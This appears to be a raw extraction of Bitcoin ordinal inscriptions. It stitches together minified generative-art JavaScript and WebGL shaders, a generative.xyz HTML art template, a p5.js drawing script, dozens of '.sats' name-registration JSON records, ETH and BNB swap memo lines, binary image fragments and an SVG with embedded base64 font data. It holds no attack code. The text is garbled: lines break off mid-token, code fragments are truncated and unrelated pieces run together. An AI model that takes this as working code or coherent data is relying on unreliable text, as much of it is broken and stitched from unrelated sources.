this.dot(this.grad3[E],g,c))+(B<0?0:(B*=B)*B*this.dot(this.grad3[u],d,f))+(D<0?0:(D*=D)*D*this.dot(this.grad3[R],p,A)))}}const perlin=new Perlin;function map(r,t,e,i,a){return i+(a-i)*(r-t)/(e-t)}let bckCol,dim=Math.min(window.innerWidth,window.innerHeight),spots=R.rI(10,25),radius=[],m=[],mOff=1e-4*R.rN(1,7),x=[],y=[],z=[],S=30,sRot=[],b=1,bOffset=R.rN(0,.005),bMag=1,xOff=[],yOff=[],pC=[],noiseFeat=mathRand()>.79,pFeat=R.rI(1,24),angleFeat=mathRand()>.87?0:mathRand()<.1?1:2,colorBackground=R.rI(0,1);const PI=Math.M
PI,TWO_PI=2*PI;let blurV=[];blurV=blurV=0==angleFeat?[R.rN(0,R.rN(0,1)),0]:1==angleFeat?[0,R.rN(0,R.rN(0,1))]:[R.rN(-.9,.9),R.rN(0,.9)],Math.pow(blurV[0],2)+Math.pow(blurV[1],2)<.18&&(blurV[0]>blurV[1]?blurV[0]+=.35:blurV[1]+=.35);const vs2="attribute vec2 a_position;attribute vec2 a_texCoord;uniform vec2 u_resolution;varying vec2 v_texCoord;\nvoid main(){vec2 clipSpace=a_position/u_resolution*2.0-1.0;gl_Position=vec4(clipSpace*vec2(1,-1),0,1);v_texCoord=a_texCoord;}",fs2="precision mediump float;uniform sampler2D M
u_image;varying vec2 v_texCoord;uniform vec2 dl;float rnd(vec3 scale,float seed){return fract(sin(dot(gl_FragCoord.xyz+seed,scale))*43758.5453+seed);}\nvoid main(){vec4 col=vec4(0.0);float tt=0.0;float off=rnd(vec3(12.9898,78.233,151.7182),0.0);for(float t=-30.0;t<=30.0;t++){float pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM
im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M
","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M
,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M
30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M
5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM
m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM
ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM
AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM
dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M
gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo
g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height);
window.$generativeTraits = {
  "Palette": pFeat,
  "Noisy": noiseFeat,
  "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal'
console.log(window.$generativeTraits)
text/html;charset=utf-8
    <meta charset="UTF-8">
    <title>A simple template for launching your art on Bitcoin</title>
    Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below.
    Are we missing an important library? Let us know @generative_xyz.
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script>
    <!-- c2.min.js@1.0.0
pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script>
    <!-- chromajs@2.4.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script>
<!--    <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script>-->
    <!-- threejs@r124
    <script sandbox="allow-scripts" typM
e="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script>
    <!-- tonejs@14.8.49
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script>
    <!-- svgjs@3.1.2
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script>
    <!-- aframejs@1.2.0
    <script sandbox="allow-scripts" type="text/jaM
vascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script>
    <!-- babylonjs@5.47.0
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script>
    <!-- paperjs@0.12.17
    <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script>
    <!-- regljs@2.1.0
    <script sandbox="allow-scripts" tM
ype="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script>
    <script type="text/javascript">
 Add your script here
 Add your script here
    <script id="snippet-random-code" type="text/javascript">
        let seed = window.location.href.split('/').find(t => t.includes('i0'));
        if (seed == null) {
            const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz";
            seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0";
            let pattern = "seed=";
            for (let i = 0; i < seed.length - pattern.length; ++i) {
                if (seed.substM
ring(i, i + pattern.length) == pattern) {
                    seed = seed.substring(i + pattern.length);
                    break;
        function cyrb128($) {
            let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
            for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
urn _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
        function sfc32($, _, u, i) {
            return function () {
                u >>>= 0, i >>>= 0;
                var l = ($ >>>= 0) + (_ >>>= 0) | 0;
                return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | M
0) | 0) | 0, (l >>> 0) / 4294967296
        // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation.
        // This function generates a random number between 0 and 1 with on-chain seed.
        let mathRand = sfc32(...cyrb128(seed));
        html, body {
            margin: 0;
            padding: 0;
            max-width: 100%;
            max-height: 100%;
            margin: auto;
     overflow: auto;
            position: fixed;
            object-fit: contain;
            bottom: 0;
            left: 0;
            right: 0;
<script type="text/javascript">
    const rand = mathRand();
    function T1(rand) {
        // calculate rarity by yourself
        if (rand > 0.5) {
            return true;
    // window.$generativeTraits contain list traits for token
    // you need to populate a $generativeTraits object in the window object
    window.$generativeTraits = {
        "T1": T1(rand),
    console.log(window.$generativeTraits)
 Add your code here
nst container = document.createElement("div")
    // container.innerHTML = "<span>seed: " + seed + "</span><br>";
    // document.body.prepend(container)
    //License: Creative Commons Attribution-NonCommercial-ShareAlike 3.0 Unported License.
    //Author: @devhontran
    //Twitter: https://twitter.com/DevHontran
    //Website: https://hontran.dev
    const scaler = 1;
    let paper, border;
    let shadown = {x: -5, y: 5};
    let layers = [];
    let padding = 40;
    function cyrb128(str) {
= 1779033703, h2 = 3144134277,
            h3 = 1013904242, h4 = 2773480762;
        for (let i = 0, k; i < str.length; i++) {
            k = str.charCodeAt(i);
            h1 = h2 ^ Math.imul(h1 ^ k, 597399067);
            h2 = h3 ^ Math.imul(h2 ^ k, 2869860233);
            h3 = h4 ^ Math.imul(h3 ^ k, 951274213);
            h4 = h1 ^ Math.imul(h4 ^ k, 2716044179);
        h1 = Math.imul(h3 ^ (h1 >>> 18), 597399067);
        h2 = Math.imul(h4 ^ (h2 >>> 22), 2869860233);
        h3 = Math.imul(h1 ^ (h3M
 >>> 17), 951274213);
        h4 = Math.imul(h2 ^ (h4 >>> 19), 2716044179);
        return [(h1^h2^h3^h4)>>>0, (h2^h1)>>>0, (h3^h1)>>>0, (h4^h1)>>>0];
    function sfc32_c(a, b, c, d) {
        a >>>= 0; b >>>= 0; c >>>= 0; d >>>= 0;
        var t = (a + b) | 0;
        a = b ^ b >>> 9;
        b = c + (c << 3) | 0;
        c = (c << 21 | c >>> 11);
        d = d + 1 | 0;
        t = t + d | 0;
        c = c + t | 0;
        return (t >>> 0) / 4294967296;
    // return random value from [l -> r]
function consistentRand (seed, l, r) {
        const rand = sfc32_c(...cyrb128(seed.toString()));
        return l + rand * (r - l)
    function getRandomItem (listP, seed) {
        const pref = []
        for (const x of listP) pref.push(x)
        for (let i = 1; i < listP.length; i++) {
            pref[i] += pref[i - 1]
        for (let i = 0; i < pref.length; i++) pref[i] /= pref[pref.length - 1];
        // get random value from 0->1
        const rand = consistentRand(seed, 0, 1)
r (let i = 0; i < pref.length; i++) {
            if (rand < pref[i]) return i;
    function createRadialGradient(x, y, r, x1, y1, r1) {
        const grd = drawingContext.createRadialGradient(x, y, r, x1, y1, r1);
        grd.addColorStop(0,"#FFFFFF");
        grd.addColorStop(1,"#E5E5E3");
        drawingContext.fillStyle = grd;
        drawingContext.fillRect(0, 0, width, height);
    function artNosie(){
        const w = width * 1.2;
        const h = height * 1.2M
        paper = createGraphics(w, h);
        for(let i = 0 ; i< 100000; i++){
            let x = random(w);
            let y = random(h);
            let dotSize = 10.0*(noise(x/(width / 4), y/(height / 4))*2 - noise(x/width, y/height));
            paper.strokeWeight(random(0.25, 3));
            paper.stroke(random(20, 80), random(1+dotSize, 4+dotSize));
            paper.point(x, y);
    function generabox(col, pos, si){
        const layer = createGraphics(width, height);
ill(140, 178, 250, 56);
        layer.noStroke();
        layer.rect(pos.x + shadown.x, pos.y + shadown.y, si.w, si.h);
        layer.filter(BLUR, 3);
        layer.fill(col.r, col.g, col.b, col.a);
        layer.noStroke();
        layer.rect(pos.x, pos.y, si.w, si.h);
        layers.push(layer);
    function setup() {
        const hash = rand ? rand : Math.random();
        const fCol = {r: 255, g: 255, b: 255};
        const s = min(window.innerWidth, window.innerHeight)
        createCanvas(s,s);M
        for(let i=0; i<9; i++){
            const tHash = `${hash}_${i}`;
            const cyrHash = cyrb128(tHash);
            const mixHash_color_r = consistentRand(cyrHash[0], 0, 1);
            const mixHash_color_g = consistentRand(cyrHash[1], 0, 255);
            const mixHash_color_b = consistentRand(cyrHash[2], 0, 255);
            const mixHash_color_a = 255;//consistentRand(cyrHash[3], 100, 255);
            const sw = consistentRand(cyrHash[0],50, width / 2);
            const sh = consistentRaM
nd(cyrHash[3], 50, height / 2);
            const col = {r: mixHash_color_r, g: mixHash_color_g, b: mixHash_color_b, a: mixHash_color_a};
            const si = {w: sw, h: sh};
            const pos_x = consistentRand(cyrHash[1], padding, width- padding - si.w);
            const pos_y = consistentRand(cyrHash[2], padding, height- padding - si.h);
            const pos = {x: pos_x, y: pos_y}
            // console.log('___i', col, pos, si);
            generabox(col, pos, si);
        const borderSize = 30;
        border = createGraphics(width, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(width - borderSize, 0, borderSize, height);
        border.fill(fCol.r, fCol.g, fCol.b, 255);
        border.noStroke();
        border.rect(0, 0, width, borderSize);
        border.fill(fCol.r, fCol.g, fCol.b, 255)M
        border.noStroke();
        border.rect(0, height - borderSize, width, borderSize);
    function draw() {
        background('#ffffff');
        blendMode(BLEND);
        for(let i=0; i<9; i++){
            image(layers[i], 0, 0, width, height);
        blendMode(MULTIPLY)
        createRadialGradient(width / 2, height / 2, 0, width / 2, height / 2, height);
        blendMode(MULTIPLY);
        image(paper, 0, 0, width, height);
        image(border,M-
 0, 0, width, height);
    function windowResized() {
        const s = min(window.innerWidth, window.innerHeight)
        resizeCanvas(s, s);
 Add your code here
FjDOUT:449E5A3CDE8BB0B132F8D4EAD982108C8890D18EAB155AFA2CA23E9818AEDD98
text/plain;charset=utf-8
text/plain;charset=utf-8
  "title": "Ordinal Faces Auctions Off Ordinal Face #21",
  "body": "The 'Final Pink Face' is set to auction today at 12:00PM PST time. Join in soon: https://discord.gg/ordinalfaces"
text/plain;charset=utf-8
  "name": "rawmilk.sats"
text/plain;charset=utf-8
  "name": "mmw.sats"
text/plain;charset=utf-8
  "name": "mmw.sats"
text/plain;charset=utf-8
  "name": "msdos.sats"
text/plain;charset=utf-8
  "name": "saq.sats"
text/plain;charset=utf-8
  "name": "nwa.sats"
text/plain;charset=utf-8
  "name": "sobranie.sats"
text/plain;charset=utf-8
  "name": "quebec.sats"
text/plain;charset=utf-8
  "name": "valid.sats"
text/plain;charset=utf-8
  "name": "ismail.sats"
text/plain;charset=utf-8
  "name": "ucv.sats"
text/plain;charset=utf-8
  "name": "selfcare.sats"
text/plain;charset=utf-8
  "name": "mentalhealth.sats"
text/plain;charset=utf-8
  "name": "quran.sats"
text/plain;charset=utf-8
  "name": "hamude.sats"
text/plain;charset=utf-8
  "name": "muhammadali.sats"
text/plain;charset=utf-8
  "name": "auchan.sats"
text/plain;charset=utf-8
  "name": "harrypotter.sats"
text/plain;charset=utf-8
  "name": "mobile.de.sats"
text/plain;charset=utf-8
  "name": "padre.sats"
text/plain;charset=utf-8
  "name": "folder.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"hotbit.sats"}h!
text/plain;charset=utf-8
  "name": "abp.sats"
text/plain;charset=utf-8
  "name": "acv.sats"
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"dextrade.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bitrue.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"bitfish.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"lbank.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"hardwallet.sats"}h!
text/plain;charset=utf-8
  "name": "acj.sats"
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"latoken.sats"}h!
text/plain;charset=utf-8
  "name": "ack.sats"
text/plain;charset=utf-8
  "name": "acp.sats"
text/plain;charset=utf-8
  "name": "aco.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "acw.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bigone.sats"}h!
text/plain;charset=utf-8
  "name": "acy.sats"
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
  "name": "acn.sats"
text/plain;charset=utf-8
  "name": "acs.sats"
text/plain;charset=utf-8
  "name": "acl.sats"
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bitkub.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"tidex.sats"}h!
Aj?=:ETH.ETH:0xC8BB07609c4d87D080b5a592cEAb0992727c126A:4845404::0
Bj@=:ETH.ETH:0x01267251fB2D2869bBd5eD0Cc27f961a4b7D8250:37911377::0
text/plain;charset=utf-8
  "name": "20006.sats"
text/plain;charset=utf-8
  "name": "20004.sats"
text/plain;charset=utf-8
  "name": "20003.sats"
Aj?=:ETH.ETH:0x2698b4ED52fB449E3709485154205Ecc6BabD809:2197711::0
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"bitmart.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"greeks.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"bingx.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"whitebit.sats"}h!
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
"3 %  % 3-7,),7-Q@88@Q^OJO^qeeq
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"bitexchange.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"tradefi.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"bkex.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"curvefi.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"gmgm.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"bitmap.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"gateio.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"gate.io.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"bitfi.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"xt.com.sats"}h!
text/plain;charset=utf-8
+{"p":"sns","op":"reg","name":"playfi.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"bitbank.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"exmo.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"11067.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"coinsbit.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"gngn.sats"}h!
text/plain;charset=utf-8
*{"p":"sns","op":"reg","name":"btcex.sats"}h!
text/plain;charset=utf-8
){"p":"sns","op":"reg","name":"gmgn.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"btcturk.sats"}h!
DjB=:ETH.ETH:0xb5e878d1bd319cFA8cc9D83fD987D239600679cA:12942711:te:0
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"littlepup.sats"}h!
text/plain;charset=utf-8
  "name": "asher.sats"
=zTXtRaw profile type icc
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"clrfund.sats"}h!
text/plain;charset=utf-8
/{"p":"sns","op":"reg","name":"rabbithole.sats"}h!
text/plain;charset=utf-8
  "name": "harrypotter.sats"
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"tokensets.sats"}h!
text/plain;charset=utf-8
1{"p":"sns","op":"reg","name":"rabbitholegg.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"syncswap.sats"}h!
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"slingshot.sats"}h!

%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

DjB=:BNB.BNB:bnb1p2p5wslx8uv2ljmtf5ywd78x4pcfa2hm6uf9sd:61449197:te:0
text/plain;charset=utf-8
  "name": "fsd.sats"
text/plain;charset=utf-8
  "name": "iverson.sats"
-=-157:::#+?D?8C49:7
%77777777777777777777777777777777777777777777777777
j6#b6#b6#b6#b6#b6!%P
M>->->->->-->->->->->-->->->->->->-->->--->->.----->.->.--...-->---->-=
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"111.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"777.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"333.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"444.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"666.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"888.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"999.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"222.sats"}h!
text/plain;charset=utf-8
({"p":"sns","op":"reg","name":"555.sats"}h!
FjDOUT:ACD7606D08DF72A292E8E5364C79E5A440C24EF10FBFBE2975585A6ECC679E16
 (B+(%%(Q:=0B`Ued_U][jx
text/plain;charset=utf-8
3{"p":"sns","op":"reg","name":"chicofumacinha.sats"}h!
FjDOUT:A57B62ACF0A66843EA0927B24B9D5F1CD25383E8707AFDD61800DF27D37088F6
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
.{"p":"sns","op":"reg","name":"loveworld.sats"}h!
text/plain;charset=utf-8
0{"p":"sns","op":"reg","name":"hellocrypto.sats"}h!
text/plain;charset=utf-8
-{"p":"sns","op":"reg","name":"1satoshi.sats"}h!
text/plain;charset=utf-8
,{"p":"sns","op":"reg","name":"icrypto.sats"}h!
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" preserveAspectRatio="xMidYMid meet" viewBox="0 0 512 512" width="100%" height="100%" data-json="data:application/json;base64,eyJuYW1lIjoiQml0R2x5cGhzICM0MzciLCJleHRlcm5hbF91cmwiOiJodHRwczovL2JpdGdseXBocy5jb20vIy9nbHlwaC80MzciLCJhdHRyaWJ1dGVzIjpbeyJ0cmFpdF90eXBlIjoiU2l6ZSIsInZhbHVlIjoiMTZ4MTYifSx7InRyYWl0X3R5cGUiOiJTY2hlbWUiLCJ2YWx1ZSI6IuKCvyAkIn0seyJ0cmFpdF90eXBlIjoiU3ltYm9sIENvdW50IiwidmFsdWUiOjEwNH0seyJ0cmFpdF90eXBlIjoiU3ltYm9sIFN5bW1ldHJ5IiwidmFsdWUiOiJSb3RhdM
GlvbmFsIn0seyJ0cmFpdF90eXBlIjoiJCBDb3VudCIsInZhbHVlIjo1MH0seyJ0cmFpdF90eXBlIjoi4oK/IENvdW50IiwidmFsdWUiOjU0fV19" data-message="BitGlyphs #437 - bc1pawnnr97z9r98swtahplnnun4afc9wxr43rgfeld0xfpeefktlltsa2vn5q" data-signature="5c38347925843d8bee2e2363e196f7640b5b6aba42387f26ba7b92f4a2610bfd33cd71b4b6a3eb389c3d5bb136010951ddc6a72b012b35d11beb115372be65c3"><defs><style type="text/css">@font-face{font-family:"glyphs";src:url(data:font/woff2;base64,d09GMgABAAAAABRYAA8AAAAAJcQAABQBAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHCoGYACBRAM
gkCZwMEQgKpwyhFwE2AiQDNAs0AAQgBQYHIAyBJxuXIUUHctg40CyAVLL/6wRuDEX7oPwUWgRFOGOXCyoSZ5rr9jFeWorZlnMpZiiKIqz6LPorSpdJuv/0NsjzZ0dIMuvH27R6VfWhu4U0YLNGMkPvTMtAMpCWDAta5GMOMiT7gCC/cMIjjEjzz2/z7wN8ZKtEPRMrmJmAGRh9HLoqdFGF0eQi0kW3P5LLXJl6HJQSFoTIG4IDJNtzAPCkkFT5SfcUeGYDZDsA8DtCw+K2Lzd4iZirVaq7cw6E+DPPyTa/RUVIS0hBkvH00JR0JfB86kouqoQV+MoP78gBOnBIS4cgBaVbZ4v6itpd9eRw/n93o04WrOed/72u1/aep7ez8n7bAeaeqWpSPt2FSG9lkNYgmaU1gbShNUMVoKLC0mVAZiWsH4TtXDpFE+5TJUXHZZoibclFl2U4RdIFBjVHdHI5ZPffDeVHJ4xtn/zhQAA89KAMDpY29hF97Oy5J5CHAoCWA/6LK/M
